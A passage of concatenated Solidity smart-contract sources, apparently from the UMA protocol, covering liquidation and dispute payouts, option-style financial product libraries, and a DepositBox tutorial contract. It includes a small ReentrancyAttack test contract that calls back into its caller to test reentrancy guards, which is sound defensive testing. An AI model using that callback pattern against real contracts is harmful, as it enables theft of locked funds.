_reduceSponsorPosition(sponsor, tokensLiquidated, lockedCollateral, withdrawalAmountToRemove);
}
// Add to the global liquidation collateral count.
_addCollateral(rawLiquidationCollateral, lockedCollateral.add(finalFeeBond));
// Construct liquidation object.
// Note: All dispute-related values are zeroed out until a dispute occurs. liquidationId is the index of the new
// LiquidationData that is pushed into the array, which is equal to the current length of the array pre-push.
liquidationId = liquidations[sponsor].length;
liquidations[sponsor].push(
LiquidationData({
sponsor: sponsor,
liquidator: msg.sender,
state: Status.NotDisputed,
liquidationTime: getCurrentTime(),
tokensOutstanding: tokensLiquidated,
lockedCollateral: lockedCollateral,
liquidatedCollateral: liquidatedCollateral,
rawUnitCollateral: _convertToRawCollateral(FixedPoint.fromUnscaledUint(1)),
disputer: address(0),
settlementPrice: FixedPoint.fromUnscaledUint(0),
finalFee: finalFeeBond
})
);
// If this liquidation is a subsequent liquidation on the position, and the liquidation size is larger than
// some "griefing threshold", then re-set the liveness. This enables a liquidation against a withdraw request to be
// "dragged out" if the position is very large and liquidators need time to gather funds. The griefing threshold
// is enforced so that liquidations for trivially small # of tokens cannot drag out an honest sponsor's slow withdrawal.
// We arbitrarily set the "griefing threshold" to `minSponsorTokens` because it is the only parameter
// denominated in token currency units and we can avoid adding another parameter.
FixedPoint.Unsigned memory griefingThreshold = minSponsorTokens;
if (
positionToLiquidate.withdrawalRequestPassTimestamp > 0 && // The position is undergoing a slow withdrawal.
positionToLiquidate.withdrawalRequestPassTimestamp > getCurrentTime() && // The slow withdrawal has not yet expired.
tokensLiquidated.isGreaterThanOrEqual(griefingThreshold) // The liquidated token count is above a "griefing threshold".
) {
positionToLiquidate.withdrawalRequestPassTimestamp = getCurrentTime().add(withdrawalLiveness);
}
emit LiquidationCreated(
sponsor,
msg.sender,
liquidationId,
tokensLiquidated.rawValue,
lockedCollateral.rawValue,
liquidatedCollateral.rawValue,
getCurrentTime()
);
// Destroy tokens
tokenCurrency.safeTransferFrom(msg.sender, address(this), tokensLiquidated.rawValue);
tokenCurrency.burn(tokensLiquidated.rawValue);
// Pull final fee from liquidator.
collateralCurrency.safeTransferFrom(msg.sender, address(this), finalFeeBond.rawValue);
}
/**
* @notice Disputes a liquidation, if the caller has enough collateral to post a dispute bond
* and pay a fixed final fee charged on each price request.
* @dev Can only dispute a liquidation before the liquidation expires and if there are no other pending disputes.
* This contract must be approved to spend at least the dispute bond amount of `collateralCurrency`. This dispute
* bond amount is calculated from `disputeBondPercentage` times the collateral in the liquidation.
* @param liquidationId of the disputed liquidation.
* @param sponsor the address of the sponsor whose liquidation is being disputed.
* @return totalPaid amount of collateral charged to disputer (i.e. final fee bond + dispute bond).
*/
function dispute(uint256 liquidationId, address sponsor)
external
disputable(liquidationId, sponsor)
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory totalPaid)
{
LiquidationData storage disputedLiquidation = _getLiquidationData(sponsor, liquidationId);
// Multiply by the unit collateral so the dispute bond is a percentage of the locked collateral after fees.
FixedPoint.Unsigned memory disputeBondAmount =
disputedLiquidation.lockedCollateral.mul(disputeBondPercentage).mul(
_getFeeAdjustedCollateral(disputedLiquidation.rawUnitCollateral)
);
_addCollateral(rawLiquidationCollateral, disputeBondAmount);
// Request a price from DVM. Liquidation is pending dispute until DVM returns a price.
disputedLiquidation.state = Status.Disputed;
disputedLiquidation.disputer = msg.sender;
// Enqueue a request with the DVM.
_requestOraclePriceLiquidation(disputedLiquidation.liquidationTime);
emit LiquidationDisputed(
sponsor,
disputedLiquidation.liquidator,
msg.sender,
liquidationId,
disputeBondAmount.rawValue
);
totalPaid = disputeBondAmount.add(disputedLiquidation.finalFee);
// Pay the final fee for requesting price from the DVM.
_payFinalFees(msg.sender, disputedLiquidation.finalFee);
// Transfer the dispute bond amount from the caller to this contract.
collateralCurrency.safeTransferFrom(msg.sender, address(this), disputeBondAmount.rawValue);
}
/**
* @notice After a dispute has settled or after a non-disputed liquidation has expired,
* anyone can call this method to disperse payments to the sponsor, liquidator, and disdputer.
* @dev If the dispute SUCCEEDED: the sponsor, liquidator, and disputer are eligible for payment.
* If the dispute FAILED: only the liquidator can receive payment.
* This method will revert if rewards have already been dispersed.
* @param liquidationId uniquely identifies the sponsor's liquidation.
* @param sponsor address of the sponsor associated with the liquidation.
* @return data about rewards paid out.
*/
function withdrawLiquidation(uint256 liquidationId, address sponsor)
public
withdrawable(liquidationId, sponsor)
fees()
nonReentrant()
returns (RewardsData memory)
{
LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId);
// Settles the liquidation if necessary. This call will revert if the price has not resolved yet.
_settle(liquidationId, sponsor);
// Calculate rewards as a function of the TRV.
// Note: all payouts are scaled by the unit collateral value so all payouts are charged the fees pro rata.
FixedPoint.Unsigned memory feeAttenuation = _getFeeAdjustedCollateral(liquidation.rawUnitCollateral);
FixedPoint.Unsigned memory settlementPrice = liquidation.settlementPrice;
FixedPoint.Unsigned memory tokenRedemptionValue =
liquidation.tokensOutstanding.mul(settlementPrice).mul(feeAttenuation);
FixedPoint.Unsigned memory collateral = liquidation.lockedCollateral.mul(feeAttenuation);
FixedPoint.Unsigned memory disputerDisputeReward = disputerDisputeRewardPercentage.mul(tokenRedemptionValue);
FixedPoint.Unsigned memory sponsorDisputeReward = sponsorDisputeRewardPercentage.mul(tokenRedemptionValue);
FixedPoint.Unsigned memory disputeBondAmount = collateral.mul(disputeBondPercentage);
FixedPoint.Unsigned memory finalFee = liquidation.finalFee.mul(feeAttenuation);
// There are three main outcome states: either the dispute succeeded, failed or was not updated.
// Based on the state, different parties of a liquidation receive different amounts.
// After assigning rewards based on the liquidation status, decrease the total collateral held in this contract
// by the amount to pay each party. The actual amounts withdrawn might differ if _removeCollateral causes
// precision loss.
RewardsData memory rewards;
if (liquidation.state == Status.DisputeSucceeded) {
// If the dispute is successful then all three users should receive rewards:
// Pay DISPUTER: disputer reward + dispute bond + returned final fee
rewards.payToDisputer = disputerDisputeReward.add(disputeBondAmount).add(finalFee);
// Pay SPONSOR: remaining collateral (collateral - TRV) + sponsor reward
rewards.payToSponsor = sponsorDisputeReward.add(collateral.sub(tokenRedemptionValue));
// Pay LIQUIDATOR: TRV - dispute reward - sponsor reward
// If TRV > Collateral, then subtract rewards from collateral
// NOTE: `payToLiquidator` should never be below zero since we enforce that
// (sponsorDisputePct+disputerDisputePct) <= 1 in the constructor when these params are set.
rewards.payToLiquidator = tokenRedemptionValue.sub(sponsorDisputeReward).sub(disputerDisputeReward);
// Transfer rewards and debit collateral
rewards.paidToLiquidator = _removeCollateral(rawLiquidationCollateral, rewards.payToLiquidator);
rewards.paidToSponsor = _removeCollateral(rawLiquidationCollateral, rewards.payToSponsor);
rewards.paidToDisputer = _removeCollateral(rawLiquidationCollateral, rewards.payToDisputer);
collateralCurrency.safeTransfer(liquidation.disputer, rewards.paidToDisputer.rawValue);
collateralCurrency.safeTransfer(liquidation.liquidator, rewards.paidToLiquidator.rawValue);
collateralCurrency.safeTransfer(liquidation.sponsor, rewards.paidToSponsor.rawValue);
// In the case of a failed dispute only the liquidator can withdraw.
} else if (liquidation.state == Status.DisputeFailed) {
// Pay LIQUIDATOR: collateral + dispute bond + returned final fee
rewards.payToLiquidator = collateral.add(disputeBondAmount).add(finalFee);
// Transfer rewards and debit collateral
rewards.paidToLiquidator = _removeCollateral(rawLiquidationCollateral, rewards.payToLiquidator);
collateralCurrency.safeTransfer(liquidation.liquidator, rewards.paidToLiquidator.rawValue);
// If the state is pre-dispute but time has passed liveness then there was no dispute. We represent this
// state as a dispute failed and the liquidator can withdraw.
} else if (liquidation.state == Status.NotDisputed) {
// Pay LIQUIDATOR: collateral + returned final fee
rewards.payToLiquidator = collateral.add(finalFee);
// Transfer rewards and debit collateral
rewards.paidToLiquidator = _removeCollateral(rawLiquidationCollateral, rewards.payToLiquidator);
collateralCurrency.safeTransfer(liquidation.liquidator, rewards.paidToLiquidator.rawValue);
}
emit LiquidationWithdrawn(
msg.sender,
rewards.paidToLiquidator.rawValue,
rewards.paidToDisputer.rawValue,
rewards.paidToSponsor.rawValue,
liquidation.state,
settlementPrice.rawValue
);
// Free up space after collateral is withdrawn by removing the liquidation object from the array.
delete liquidations[sponsor][liquidationId];
return rewards;
}
/**
* @notice Gets all liquidation information for a given sponsor address.
* @param sponsor address of the position sponsor.
* @return liquidationData array of all liquidation information for the given sponsor address.
*/
function getLiquidations(address sponsor)
external
view
nonReentrantView()
returns (LiquidationData[] memory liquidationData)
{
return liquidations[sponsor];
}
/**
* @notice Accessor method to calculate a transformed collateral requirement using the finanical product library
specified during contract deployment. If no library was provided then no modification to the collateral requirement is done.
* @param price input price used as an input to transform the collateral requirement.
* @return transformedCollateralRequirement collateral requirement with transformation applied to it.
* @dev This method should never revert.
*/
function transformCollateralRequirement(FixedPoint.Unsigned memory price)
public
view
nonReentrantView()
returns (FixedPoint.Unsigned memory)
{
return _transformCollateralRequirement(price);
}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
// This settles a liquidation if it is in the Disputed state. If not, it will immediately return.
// If the liquidation is in the Disputed state, but a price is not available, this will revert.
function _settle(uint256 liquidationId, address sponsor) internal {
LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId);
// Settlement only happens when state == Disputed and will only happen once per liquidation.
// If this liquidation is not ready to be settled, this method should return immediately.
if (liquidation.state != Status.Disputed) {
return;
}
// Get the returned price from the oracle. If this has not yet resolved will revert.
liquidation.settlementPrice = _getOraclePriceLiquidation(liquidation.liquidationTime);
// Find the value of the tokens in the underlying collateral.
FixedPoint.Unsigned memory tokenRedemptionValue =
liquidation.tokensOutstanding.mul(liquidation.settlementPrice);
// The required collateral is the value of the tokens in underlying * required collateral ratio. The Transform
// Collateral requirement method applies a from the financial Product library to change the scaled the collateral
// requirement based on the settlement price. If no library was specified when deploying the emp then this makes no change.
FixedPoint.Unsigned memory requiredCollateral =
tokenRedemptionValue.mul(_transformCollateralRequirement(liquidation.settlementPrice));
// If the position has more than the required collateral it is solvent and the dispute is valid(liquidation is invalid)
// Note that this check uses the liquidatedCollateral not the lockedCollateral as this considers withdrawals.
bool disputeSucceeded = liquidation.liquidatedCollateral.isGreaterThanOrEqual(requiredCollateral);
liquidation.state = disputeSucceeded ? Status.DisputeSucceeded : Status.DisputeFailed;
emit DisputeSettled(
msg.sender,
sponsor,
liquidation.liquidator,
liquidation.disputer,
liquidationId,
disputeSucceeded
);
}
function _pfc() internal view override returns (FixedPoint.Unsigned memory) {
return super._pfc().add(_getFeeAdjustedCollateral(rawLiquidationCollateral));
}
function _getLiquidationData(address sponsor, uint256 liquidationId)
internal
view
returns (LiquidationData storage liquidation)
{
LiquidationData[] storage liquidationArray = liquidations[sponsor];
// Revert if the caller is attempting to access an invalid liquidation
// (one that has never been created or one has never been initialized).
require(
liquidationId < liquidationArray.length && liquidationArray[liquidationId].state != Status.Uninitialized,
"Invalid liquidation ID"
);
return liquidationArray[liquidationId];
}
function _getLiquidationExpiry(LiquidationData storage liquidation) internal view returns (uint256) {
return liquidation.liquidationTime.add(liquidationLiveness);
}
// These internal functions are supposed to act identically to modifiers, but re-used modifiers
// unnecessarily increase contract bytecode size.
// source: https://blog.polymath.network/solidity-tips-and-tricks-to-save-gas-and-reduce-bytecode-size-c44580b218e6
function _disputable(uint256 liquidationId, address sponsor) internal view {
LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId);
require(
(getCurrentTime() < _getLiquidationExpiry(liquidation)) && (liquidation.state == Status.NotDisputed),
"Liquidation not disputable"
);
}
function _withdrawable(uint256 liquidationId, address sponsor) internal view {
LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId);
Status state = liquidation.state;
// Must be disputed or the liquidation has passed expiry.
require(
(state > Status.NotDisputed) ||
((_getLiquidationExpiry(liquidation) <= getCurrentTime()) && (state == Status.NotDisputed)),
"Liquidation not withdrawable"
);
}
function _transformCollateralRequirement(FixedPoint.Unsigned memory price)
internal
view
returns (FixedPoint.Unsigned memory)
{
if (!address(financialProductLibrary).isContract()) return collateralRequirement;
try financialProductLibrary.transformCollateralRequirement(price, collateralRequirement) returns (
FixedPoint.Unsigned memory transformedCollateralRequirement
) {
return transformedCollateralRequirement;
} catch {
return collateralRequirement;
}
}
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./FinancialProductLibrary.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "../../../common/implementation/Lockable.sol";
/**
* @title Structured Note Financial Product Library
* @notice Adds custom price transformation logic to modify the behavior of the expiring multi party contract. The
* contract holds say 1 WETH in collateral and pays out that 1 WETH if, at expiry, ETHUSD is below a set strike. If
* ETHUSD is above that strike, the contract pays out a given dollar amount of ETH.
* Example: expiry is DEC 31. Strike is $400. Each token is backed by 1 WETH
* If ETHUSD < $400 at expiry, token is redeemed for 1 ETH.
* If ETHUSD >= $400 at expiry, token is redeemed for $400 worth of ETH, as determined by the DVM.
*/
contract StructuredNoteFinancialProductLibrary is FinancialProductLibrary, Ownable, Lockable {
mapping(address => FixedPoint.Unsigned) financialProductStrikes;
/**
* @notice Enables the deployer of the library to set the strike price for an associated financial product.
* @param financialProduct address of the financial product.
* @param strikePrice the strike price for the structured note to be applied to the financial product.
* @dev Note: a) Only the owner (deployer) of this library can set new strike prices b) A strike price cannot be 0.
* c) A strike price can only be set once to prevent the deployer from changing the strike after the fact.
* d) financialProduct must exposes an expirationTimestamp method.
*/
function setFinancialProductStrike(address financialProduct, FixedPoint.Unsigned memory strikePrice)
public
onlyOwner
nonReentrant()
{
require(strikePrice.isGreaterThan(0), "Cant set 0 strike");
require(financialProductStrikes[financialProduct].isEqual(0), "Strike already set");
require(ExpiringContractInterface(financialProduct).expirationTimestamp() != 0, "Invalid EMP contract");
financialProductStrikes[financialProduct] = strikePrice;
}
/**
* @notice Returns the strike price associated with a given financial product address.
* @param financialProduct address of the financial product.
* @return strikePrice for the associated financial product.
*/
function getStrikeForFinancialProduct(address financialProduct)
public
view
nonReentrantView()
returns (FixedPoint.Unsigned memory)
{
return financialProductStrikes[financialProduct];
}
/**
* @notice Returns a transformed price by applying the structured note payout structure.
* @param oraclePrice price from the oracle to be transformed.
* @param requestTime timestamp the oraclePrice was requested at.
* @return transformedPrice the input oracle price with the price transformation logic applied to it.
*/
function transformPrice(FixedPoint.Unsigned memory oraclePrice, uint256 requestTime)
public
view
override
nonReentrantView()
returns (FixedPoint.Unsigned memory)
{
FixedPoint.Unsigned memory strike = financialProductStrikes[msg.sender];
require(strike.isGreaterThan(0), "Caller has no strike");
// If price request is made before expiry, return 1. Thus we can keep the contract 100% collateralized with
// each token backed 1:1 by collateral currency.
if (requestTime < ExpiringContractInterface(msg.sender).expirationTimestamp()) {
return FixedPoint.fromUnscaledUint(1);
}
if (oraclePrice.isLessThan(strike)) {
return FixedPoint.fromUnscaledUint(1);
} else {
// Token expires to be worth strike $ worth of collateral.
// eg if ETHUSD is $500 and strike is $400, token is redeemable for 400/500 = 0.8 WETH.
return strike.div(oraclePrice);
}
}
/**
* @notice Returns a transformed collateral requirement by applying the structured note payout structure. If the price
* of the structured note is greater than the strike then the collateral requirement scales down accordingly.
* @param oraclePrice price from the oracle to transform the collateral requirement.
* @param collateralRequirement financial products collateral requirement to be scaled according to price and strike.
* @return transformedCollateralRequirement the input collateral requirement with the transformation logic applied to it.
*/
function transformCollateralRequirement(
FixedPoint.Unsigned memory oraclePrice,
FixedPoint.Unsigned memory collateralRequirement
) public view override nonReentrantView() returns (FixedPoint.Unsigned memory) {
FixedPoint.Unsigned memory strike = financialProductStrikes[msg.sender];
require(strike.isGreaterThan(0), "Caller has no strike");
// If the price is less than the strike than the original collateral requirement is used.
if (oraclePrice.isLessThan(strike)) {
return collateralRequirement;
} else {
// If the price is more than the strike then the collateral requirement is scaled by the strike. For example
// a strike of $400 and a CR of 1.2 would yield:
// ETHUSD = $350, payout is 1 WETH. CR is multiplied by 1. resulting CR = 1.2
// ETHUSD = $400, payout is 1 WETH. CR is multiplied by 1. resulting CR = 1.2
// ETHUSD = $425, payout is 0.941 WETH (worth $400). CR is multiplied by 0.941. resulting CR = 1.1292
// ETHUSD = $500, payout is 0.8 WETH (worth $400). CR multiplied by 0.8. resulting CR = 0.96
return collateralRequirement.mul(strike.div(oraclePrice));
}
}
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./FinancialProductLibrary.sol";
import "../../../common/implementation/Lockable.sol";
/**
* @title Pre-Expiration Identifier Transformation Financial Product Library
* @notice Adds custom identifier transformation to enable a financial contract to use two different identifiers, depending
* on when a price request is made. If the request is made before expiration then a transformation is made to the identifier
* & if it is at or after expiration then the original identifier is returned. This library enables self referential
* TWAP identifier to be used on synthetics pre-expiration, in conjunction with a separate identifier at expiration.
*/
contract PreExpirationIdentifierTransformationFinancialProductLibrary is FinancialProductLibrary, Lockable {
mapping(address => bytes32) financialProductTransformedIdentifiers;
/**
* @notice Enables the deployer of the library to set the transformed identifier for an associated financial product.
* @param financialProduct address of the financial product.
* @param transformedIdentifier the identifier for the financial product to be used if the contract is pre expiration.
* @dev Note: a) Any address can set identifier transformations b) The identifier can't be set to blank. c) A
* transformed price can only be set once to prevent the deployer from changing it after the fact. d) financialProduct
* must expose an expirationTimestamp method.
*/
function setFinancialProductTransformedIdentifier(address financialProduct, bytes32 transformedIdentifier)
public
nonReentrant()
{
require(transformedIdentifier != "", "Cant set to empty transformation");
require(financialProductTransformedIdentifiers[financialProduct] == "", "Transformation already set");
require(ExpiringContractInterface(financialProduct).expirationTimestamp() != 0, "Invalid EMP contract");
financialProductTransformedIdentifiers[financialProduct] = transformedIdentifier;
}
/**
* @notice Returns the transformed identifier associated with a given financial product address.
* @param financialProduct address of the financial product.
* @return transformed identifier for the associated financial product.
*/
function getTransformedIdentifierForFinancialProduct(address financialProduct)
public
view
nonReentrantView()
returns (bytes32)
{
return financialProductTransformedIdentifiers[financialProduct];
}
/**
* @notice Returns a transformed price identifier if the contract is pre-expiration and no transformation if post.
* @param identifier input price identifier to be transformed.
* @param requestTime timestamp the identifier is to be used at.
* @return transformedPriceIdentifier the input price identifier with the transformation logic applied to it.
*/
function transformPriceIdentifier(bytes32 identifier, uint256 requestTime)
public
view
override
nonReentrantView()
returns (bytes32)
{
require(financialProductTransformedIdentifiers[msg.sender] != "", "Caller has no transformation");
// If the request time is before contract expiration then return the transformed identifier. Else, return the
// original price identifier.
if (requestTime < ExpiringContractInterface(msg.sender).expirationTimestamp()) {
return financialProductTransformedIdentifiers[msg.sender];
} else {
return identifier;
}
}
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./FinancialProductLibrary.sol";
import "../../../common/implementation/Lockable.sol";
/**
* @title Post-Expiration Identifier Transformation Financial Product Library
* @notice Adds custom identifier transformation to enable a financial contract to use two different identifiers, depending
* on when a price request is made. If the request is made at or after expiration then a transformation is made to the identifier
* & if it is before expiration then the original identifier is returned. This library enables self referential
* TWAP identifier to be used on synthetics pre-expiration, in conjunction with a separate identifier at expiration.
*/
contract PostExpirationIdentifierTransformationFinancialProductLibrary is FinancialProductLibrary, Lockable {
mapping(address => bytes32) financialProductTransformedIdentifiers;
/**
* @notice Enables the deployer of the library to set the transformed identifier for an associated financial product.
* @param financialProduct address of the financial product.
* @param transformedIdentifier the identifier for the financial product to be used if the contract is post expiration.
* @dev Note: a) Any address can set identifier transformations b) The identifier can't be set to blank. c) A
* transformed price can only be set once to prevent the deployer from changing it after the fact. d) financialProduct
* must expose an expirationTimestamp method.
*/
function setFinancialProductTransformedIdentifier(address financialProduct, bytes32 transformedIdentifier)
public
nonReentrant()
{
require(transformedIdentifier != "", "Cant set to empty transformation");
require(financialProductTransformedIdentifiers[financialProduct] == "", "Transformation already set");
require(ExpiringContractInterface(financialProduct).expirationTimestamp() != 0, "Invalid EMP contract");
financialProductTransformedIdentifiers[financialProduct] = transformedIdentifier;
}
/**
* @notice Returns the transformed identifier associated with a given financial product address.
* @param financialProduct address of the financial product.
* @return transformed identifier for the associated financial product.
*/
function getTransformedIdentifierForFinancialProduct(address financialProduct)
public
view
nonReentrantView()
returns (bytes32)
{
return financialProductTransformedIdentifiers[financialProduct];
}
/**
* @notice Returns a transformed price identifier if the contract is post-expiration and no transformation if pre.
* @param identifier input price identifier to be transformed.
* @param requestTime timestamp the identifier is to be used at.
* @return transformedPriceIdentifier the input price identifier with the transformation logic applied to it.
*/
function transformPriceIdentifier(bytes32 identifier, uint256 requestTime)
public
view
override
nonReentrantView()
returns (bytes32)
{
require(financialProductTransformedIdentifiers[msg.sender] != "", "Caller has no transformation");
// If the request time is after contract expiration then return the transformed identifier. Else, return the
// original price identifier.
if (requestTime < ExpiringContractInterface(msg.sender).expirationTimestamp()) {
return identifier;
} else {
return financialProductTransformedIdentifiers[msg.sender];
}
}
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./FinancialProductLibrary.sol";
import "../../../common/implementation/Lockable.sol";
/**
* @title KPI Options Financial Product Library
* @notice Adds custom tranformation logic to modify the price and collateral requirement behavior of the expiring multi party contract.
* If a price request is made pre-expiry, the price should always be set to 2 and the collateral requirement should be set to 1.
* Post-expiry, the collateral requirement is left as 1 and the price is left unchanged.
*/
contract KpiOptionsFinancialProductLibrary is FinancialProductLibrary, Lockable {
/**
* @notice Returns a transformed price for pre-expiry price requests.
* @param oraclePrice price from the oracle to be transformed.
* @param requestTime timestamp the oraclePrice was requested at.
* @return transformedPrice the input oracle price with the price transformation logic applied to it.
*/
function transformPrice(FixedPoint.Unsigned memory oraclePrice, uint256 requestTime)
public
view
override
nonReentrantView()
returns (FixedPoint.Unsigned memory)
{
// If price request is made before expiry, return 2. Thus we can keep the contract 100% collateralized with
// each token backed 1:2 by collateral currency. Post-expiry, leave unchanged.
if (requestTime < ExpiringContractInterface(msg.sender).expirationTimestamp()) {
return FixedPoint.fromUnscaledUint(2);
} else {
return oraclePrice;
}
}
/**
* @notice Returns a transformed collateral requirement that is set to be equivalent to 2 tokens pre-expiry.
* @param oraclePrice price from the oracle to transform the collateral requirement.
* @param collateralRequirement financial products collateral requirement to be scaled to a flat rate.
* @return transformedCollateralRequirement the input collateral requirement with the transformation logic applied to it.
*/
function transformCollateralRequirement(
FixedPoint.Unsigned memory oraclePrice,
FixedPoint.Unsigned memory collateralRequirement
) public view override nonReentrantView() returns (FixedPoint.Unsigned memory) {
// Always return 1.
return FixedPoint.fromUnscaledUint(1);
}
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./FinancialProductLibrary.sol";
import "../../../common/implementation/Lockable.sol";
/**
* @title CoveredCall Financial Product Library
* @notice Adds custom price transformation logic to modify the behavior of the expiring multi party contract. The
* contract holds say 1 WETH in collateral and pays out a portion of that, at expiry, if ETHUSD is above a set strike. If
* ETHUSD is below that strike, the contract pays out 0. The fraction paid out if above the strike is defined by
* (oraclePrice - strikePrice) / oraclePrice;
* Example: expiry is DEC 31. Strike is $400. Each token is backed by 1 WETH.
* If ETHUSD = $600 at expiry, the call is $200 in the money, and the contract pays out 0.333 WETH (worth $200).
* If ETHUSD = $800 at expiry, the call is $400 in the money, and the contract pays out 0.5 WETH (worth $400).
* If ETHUSD =< $400 at expiry, the call is out of the money, and the contract pays out 0 WETH.
*/
contract CoveredCallFinancialProductLibrary is FinancialProductLibrary, Lockable {
mapping(address => FixedPoint.Unsigned) private financialProductStrikes;
/**
* @notice Enables any address to set the strike price for an associated financial product.
* @param financialProduct address of the financial product.
* @param strikePrice the strike price for the covered call to be applied to the financial product.
* @dev Note: a) Any address can set the initial strike price b) A strike price cannot be 0.
* c) A strike price can only be set once to prevent the deployer from changing the strike after the fact.
* d) For safety, a strike price should be set before depositing any synthetic tokens in a liquidity pool.
* e) financialProduct must expose an expirationTimestamp method.
*/
function setFinancialProductStrike(address financialProduct, FixedPoint.Unsigned memory strikePrice)
public
nonReentrant()
{
require(strikePrice.isGreaterThan(0), "Cant set 0 strike");
require(financialProductStrikes[financialProduct].isEqual(0), "Strike already set");
require(ExpiringContractInterface(financialProduct).expirationTimestamp() != 0, "Invalid EMP contract");
financialProductStrikes[financialProduct] = strikePrice;
}
/**
* @notice Returns the strike price associated with a given financial product address.
* @param financialProduct address of the financial product.
* @return strikePrice for the associated financial product.
*/
function getStrikeForFinancialProduct(address financialProduct)
public
view
nonReentrantView()
returns (FixedPoint.Unsigned memory)
{
return financialProductStrikes[financialProduct];
}
/**
* @notice Returns a transformed price by applying the call option payout structure.
* @param oraclePrice price from the oracle to be transformed.
* @param requestTime timestamp the oraclePrice was requested at.
* @return transformedPrice the input oracle price with the price transformation logic applied to it.
*/
function transformPrice(FixedPoint.Unsigned memory oraclePrice, uint256 requestTime)
public
view
override
nonReentrantView()
returns (FixedPoint.Unsigned memory)
{
FixedPoint.Unsigned memory strike = financialProductStrikes[msg.sender];
require(strike.isGreaterThan(0), "Caller has no strike");
// If price request is made before expiry, return 1. Thus we can keep the contract 100% collateralized with
// each token backed 1:1 by collateral currency.
if (requestTime < ExpiringContractInterface(msg.sender).expirationTimestamp()) {
return FixedPoint.fromUnscaledUint(1);
}
if (oraclePrice.isLessThanOrEqual(strike)) {
return FixedPoint.fromUnscaledUint(0);
} else {
// Token expires to be worth the fraction of a collateral token that's in the money.
// eg if ETHUSD is $500 and strike is $400, token is redeemable for 100/500 = 0.2 WETH (worth $100).
// Note: oraclePrice cannot be 0 here because it would always satisfy the if above because 0 <= x is always
// true.
return (oraclePrice.sub(strike)).div(oraclePrice);
}
}
/**
* @notice Returns a transformed collateral requirement by applying the covered call payout structure.
* @param oraclePrice price from the oracle to transform the collateral requirement.
* @param collateralRequirement financial products collateral requirement to be scaled according to price and strike.
* @return transformedCollateralRequirement the input collateral requirement with the transformation logic applied to it.
*/
function transformCollateralRequirement(
FixedPoint.Unsigned memory oraclePrice,
FixedPoint.Unsigned memory collateralRequirement
) public view override nonReentrantView() returns (FixedPoint.Unsigned memory) {
FixedPoint.Unsigned memory strike = financialProductStrikes[msg.sender];
require(strike.isGreaterThan(0), "Caller has no strike");
// Always return 1 because option must be collateralized by 1 token.
return FixedPoint.fromUnscaledUint(1);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../implementation/Lockable.sol";
import "./ReentrancyAttack.sol";
// Tests reentrancy guards defined in Lockable.sol.
// Extends https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.0.1/contracts/mocks/ReentrancyMock.sol.
contract ReentrancyMock is Lockable {
uint256 public counter;
constructor() public {
counter = 0;
}
function callback() external nonReentrant {
_count();
}
function countAndSend(ReentrancyAttack attacker) external nonReentrant {
_count();
bytes4 func = bytes4(keccak256("callback()"));
attacker.callSender(func);
}
function countAndCall(ReentrancyAttack attacker) external nonReentrant {
_count();
bytes4 func = bytes4(keccak256("getCount()"));
attacker.callSender(func);
}
function countLocalRecursive(uint256 n) public nonReentrant {
if (n > 0) {
_count();
countLocalRecursive(n - 1);
}
}
function countThisRecursive(uint256 n) public nonReentrant {
if (n > 0) {
_count();
// solhint-disable-next-line avoid-low-level-calls
(bool success, ) = address(this).call(abi.encodeWithSignature("countThisRecursive(uint256)", n - 1));
require(success, "ReentrancyMock: failed call");
}
}
function countLocalCall() public nonReentrant {
getCount();
}
function countThisCall() public nonReentrant {
// solhint-disable-next-line avoid-low-level-calls
(bool success, ) = address(this).call(abi.encodeWithSignature("getCount()"));
require(success, "ReentrancyMock: failed call");
}
function getCount() public view nonReentrantView returns (uint256) {
return counter;
}
function _count() private {
counter += 1;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
// Tests reentrancy guards defined in Lockable.sol.
// Copied from https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.0.1/contracts/mocks/ReentrancyAttack.sol.
contract ReentrancyAttack {
function callSender(bytes4 data) public {
// solhint-disable-next-line avoid-low-level-calls
(bool success, ) = msg.sender.call(abi.encodeWithSelector(data));
require(success, "ReentrancyAttack: failed call");
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../common/FeePayer.sol";
import "../../common/implementation/FixedPoint.sol";
import "../../oracle/interfaces/IdentifierWhitelistInterface.sol";
import "../../oracle/interfaces/OracleInterface.sol";
import "../../oracle/implementation/ContractCreator.sol";
/**
* @title Token Deposit Box
* @notice This is a minimal example of a financial template that depends on price requests from the DVM.
* This contract should be thought of as a "Deposit Box" into which the user deposits some ERC20 collateral.
* The main feature of this box is that the user can withdraw their ERC20 corresponding to a desired USD amount.
* When the user wants to make a withdrawal, a price request is enqueued with the UMA DVM.
* For simplicty, the user is constrained to have one outstanding withdrawal request at any given time.
* Regular fees are charged on the collateral in the deposit box throughout the lifetime of the deposit box,
* and final fees are charged on each price request.
*
* This example is intended to accompany a technical tutorial for how to integrate the DVM into a project.
* The main feature this demo serves to showcase is how to build a financial product on-chain that "pulls" price
* requests from the DVM on-demand, which is an implementation of the "priceless" oracle framework.
*
* The typical user flow would be:
* - User sets up a deposit box for the (wETH - USD) price-identifier. The "collateral currency" in this deposit
* box is therefore wETH.
* The user can subsequently make withdrawal requests for USD-denominated amounts of wETH.
* - User deposits 10 wETH into their deposit box.
* - User later requests to withdraw $100 USD of wETH.
* - DepositBox asks DVM for latest wETH/USD exchange rate.
* - DVM resolves the exchange rate at: 1 wETH is worth 200 USD.
* - DepositBox transfers 0.5 wETH to user.
*/
contract DepositBox is FeePayer, ContractCreator {
using SafeMath for uint256;
using FixedPoint for FixedPoint.Unsigned;
